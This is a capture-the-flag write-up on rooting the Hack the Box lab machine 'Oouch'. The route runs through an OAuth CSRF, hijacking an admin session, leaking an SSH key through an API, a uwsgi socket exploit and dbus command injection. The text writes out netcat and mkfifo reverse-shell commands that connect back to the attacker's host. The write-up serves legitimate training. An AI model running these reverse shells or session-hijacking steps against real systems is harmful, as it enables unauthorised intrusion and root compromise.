Welcome back everyone! Today we are tackling the Hack the Box machine - Oouch. It's listed as a Hard Linux machine. Let's jump in.
As always we start off with our standard
nmap -sV -sC -p- -oA allscan 10.10.10.177
Here are our results:
Nmap scan report for 10.10.10.177 Host is up (0.049s latency). Not shown: 65531 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.50 | Logged in as ftp | TYPE: ASCII | Session bandwidth limit in byte/s is 30000 | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA) |_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519) 5000/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 | http-title: Welcome to Oouch |_Requested resource was http://10.10.10.177:5000/login?next=%2F 8000/tcp open rtsp | fingerprint-strings: | FourOhFourRequest, GetRequest, HTTPOptions: | HTTP/1.0 400 Bad Request | Content-Type: text/html | Vary: Authorization | <h1>Bad Request (400)</h1> | RTSPRequest: | RTSP/1.0 400 Bad Request | Content-Type: text/html | Vary: Authorization | <h1>Bad Request (400)</h1> | SIPOptions: | SIP/2.0 400 Bad Request | Content-Type: text/html | Vary: Authorization |_ <h1>Bad Request (400)</h1> |_http-title: Site doesn't have a title (text/html). |_rtsp-methods: ERROR: Script execution failed (use -d to debug) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.80%I=7%D=5/18%Time=5EC28FF3%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex SF:t/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</ SF:h1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Req SF:uest\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1 SF:>Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2 SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization SF:\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\ SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth SF:orization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.30 seconds
Judging by our scan, a web vulnerability is our way in. We see a file in the FTP directory. So we'll log in to that and snag the file to see what's in it. When we take a peek we see it gives us 'structure' that might be in use.
We'll keep this in mind. We also have something running on port 5000 as well as port 8000, both look to be web services. The service on port 8000 gives us an error on load and the service on 5000 is a registration / login page. We try to login with the basic admin/admin but that obviously doesn't work. So we'll register an account and try to login using that.
Once we login with our account we get a new set of options.
The options here are pretty basic. While we manually poke around the page, we'll start up a
gobuster to start enumerating what might be here. The standard set of lists did not turn up anything. Using some of the other discovery lists in
SecLists - Raft-large-directories shows us there is an oauth location. That could be of use.
Navigating to 10.10.10.177:5000/oauth brings us to an OAuth Endpoint page.
It tells us to visit consumer.oouch.htb to connect, so we'll add these two hostnames to our hosts files and try to authenticate. Once we do that we are able to sign in again to verify our credentials.
Again it errors out due to hostname resolution. We'll add authorization.oouch.htb to our hosts file as well. Once we do that, we are then rerouted back to the original landing page. We take some time to look at the URls previously provided. Going to
authorization.oouch.htb:8000 gives us an unexpected page.
Here we can register an account to use for OAuth purposes. Now to progress any further you'll want a basic understanding of OAuth and how it functions. This is a brief video explaining the basics of how OAuth functions. Now that we know how it works, in short, we can take a look at these two good resources on how to exploit the service - here and here.
In order to leverage some of the mentioned attacks, we need a to find a CSRF or some other leaky info. Luckily for us there is a contact page that could help us out here. We will try to leverage a CSRF attack to obtain the same access as the adminitrator, hoping they are logged in.
We'll create an account on
authorization.oouch.htb:8000. Once we do that we'll navigate back to
http://consumer.oouch.htb:5000/oauth/connect and turn on our
Burpsuite intercept. We then login with our standard account previously created and forward the first 3 requests. We eventually should be prompted with an option to authorize:
We don't want to Authorize this connection. We just want the token from Burpsuite.
Here's how the process look in entirety.
Now that we have a token that is valid we'll then take this URL with the token code and send it to the contact field.
We then send the 'message'. We can now head over to
http://consumer.oouch.htb:5000/oauth/login. This should give au another Authorization link, this time we will authorize it. If all goes well, we should now be the admin on the machine!
We see another section now, called Documents. When we click on this link we have some more info given to us.
Given these notes we know there is an api that has users and user data. We can alsu use that set of credentials to register applications. So if applications are allowed, where do they go? My first guess would be
/applications. Turns out it is that but under the
authorize.oouch.htb:8000/oath location. 20-20 hindsight, recursive
dirbuster would have worked more effectivly... When we attempt to reach this page, we are greated with a password prompt. We'll use the supplied credentails to acces it. We keep getting denied. We'll lauch another
gobuster against this url and see what we might find. Eventually we find
/oauth/applications/register. We are then given some options to register our application:
When we look at this we see we can choose some valuable info. We can send our redirect URI back to our attacking machine. So we register an app with the following:
But I can't seem to access this application. Some research shows I need to go to the URL supplying all the parameters I previously made. So my application url would be as follows:
When I try to access this it seemingly hangs. Now if I load up a
netcat listener on my
redirect_uri port, I get an HTTP request:
This is good actually, this is the same response code we got previously when attempting the CSRF against the admin account. We'll use the same technique to try and get the admin account session data. We go back to the contact form and submit our link:
Eventually we get back a sesionid cookie. We can now edit our local cookies an apply this one. We head over to
authorization.oouch.htb:8000 and see we are logged in as our test account. We open up our dev tools. Go to Storage. Then modify our sessionid value with our new one and boom, we get qtc's access.
Now we see two more resource links,
token. Now when we try to go to
Burpsuite gives us the response.
We can only POST to this URL. If we try to send a POST to this page we get an error of 'Unsupported grant type"
A quick search around the internet lead me to this post. Following this methodology of adding the variables we created in our application earlier should let us get some kind of token back.
We issue the following
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-type: application/x-www-form-urlencoded" --data "grant_type=client_credentials&client_id=MrzSIKUdAWfqXVNiCZUHnaYmnw1EQpbl4FWWyupl&client_secret=CtHS7rPyQgOasuSPb7hPdwoUMAHmVnwLIIKmSsV2BtANlIohq8xH4bxT7sHHT2e6QNaAFa7UMtUAuA1d4DbN91Adm4WRVse3VqOp0x7uyntWbW9oi10bkgAxJDk9UsOR"
We indeed get a access token back! I wasn't able to find much in terms of using this token under the OAuth structure. When we look back at what we've done so far we see that there is another strucure to use
/api/get_users. When we navigate to that location and supply our access token, we get our users data set.
However, there is nothing that usefull here. We'll use
wfuzz to fuzz the second part of the function. There is a posibility we have other functions that follow the
get_ naming convention.
wfuzz -c -u "http://authorization.oouch.htb:8000/api/get_FUZZ/\?access_token=fPhAPOIWERJ1wyvsLe7EdGhXMSQs7V" -w /usr/share/seclists/Discovery/DNS/namelist.txt --hc 404
When this run, we are hidding the 404 errors. This should help us narrow down our results.
Once it finishes we see there is indeed 3 variables we can use. The one that's really of interest is ssh. So we go over to the
/get_ssh location with our authorization token and...
We have an SSH key! Now the key needs some cleaning up but that's not a problem. We remove the leading JSON and the
\n breaks to create a cohesive key. Once we have that done and our permissions set correctly, we can use it to
SSH into the box!
We get our users.txt file and start enumerating the box internally. We copy over
linpeas.sh and see what might show. One of the biggest things that shows when this runs is the amount of network interfaces are shown. There are 8 interfaces, one of which is a docker interfaces.
This is a pretty large subnet space for a docker network. We'll want to scan it and see what could be there. We could do this bash shell and a ping scan but for a subnet this large we'll just copy of a static binary of nmap and point it at our IP range.
That finishes eventually and we have a few addresses to work with. We try to
SSH into them one at a time and finally are able to get into the
We're another machine deep, so we'll need to enumerate this machine. However, this time we don't have access available to commands like
socat. We'll have to manually enumerate this box.
Enumeration of running services show
uwsgi being run frequently. This could be of use. We'll keep looking around at other exploitable areas as well.
.bash_history we some commands being run from inside
/code. We'll navigate there and see what might be of use. Reading through and analyzing the code we see an interesting import call: import dbus. This could be of use to use to create a payload and send it to our machine. Since the file is owned by root, we could have root access. No dice. It would seem root owning the file is the blockage here.
So some googling around shows there is an exploit for
uwsgi here. So we'll re-create this file on the first level machine - oouch. Then in order to get it onto the second level machine we can use
scp. We also want to copy over
netcat to create our shell since we know it's not on it natively.
scp -i ~/.ssh/id_rsa exploitme.py firstname.lastname@example.org:/tmp
scp -i ~/.ssh/id_rsa nc email@example.com:/tmp
Once we have the exploit onto the machine, we need to setup a
nc -lvnp 4444
Now we can run the exploit following the usage given in the code.
python exploitme.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 4444"
Once we run it, we see a shell come back on our netcat listener as
www-data. We then upgrade our shell session. In this case we want to re-attempt our dbus exploit from earlier since www-data might have rights to this service.
Dbus is a system used to send commands to other applications at a low level. The usage for
dbus rpc calls is as follows:
dbus-send --session --dest=<class> <namespace> <method> [<parameters>].
In this case we're supplying dbus with it's requested parameters but then feeding it the
mkfifo reverse shell command.
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/.0; mkfifo /tmp/.0; cat /tmp/.0 | /bin/bash -i 2>&1 | nc 10.10.14.50 5555 >/tmp/.0;" < /bin/bash -i 2>&1 | nc 10.10.14.50 5555 >/tmp/.0;"
I would consider this type of reverse shell fairly obscure unless you've done it before.
We start up a
netcat listener on 5555 and issue our
dbus-send. We get a shell back as root instantly.
There we have it, our root flag! This box was pretty difficult in my opinion. Especially since the CSRF wasn't always working on public boxes. Hopefully something was taken away from this write-up!
Think about sending me some respect over on HTB if you enjoyed the write-up! Here's my profile.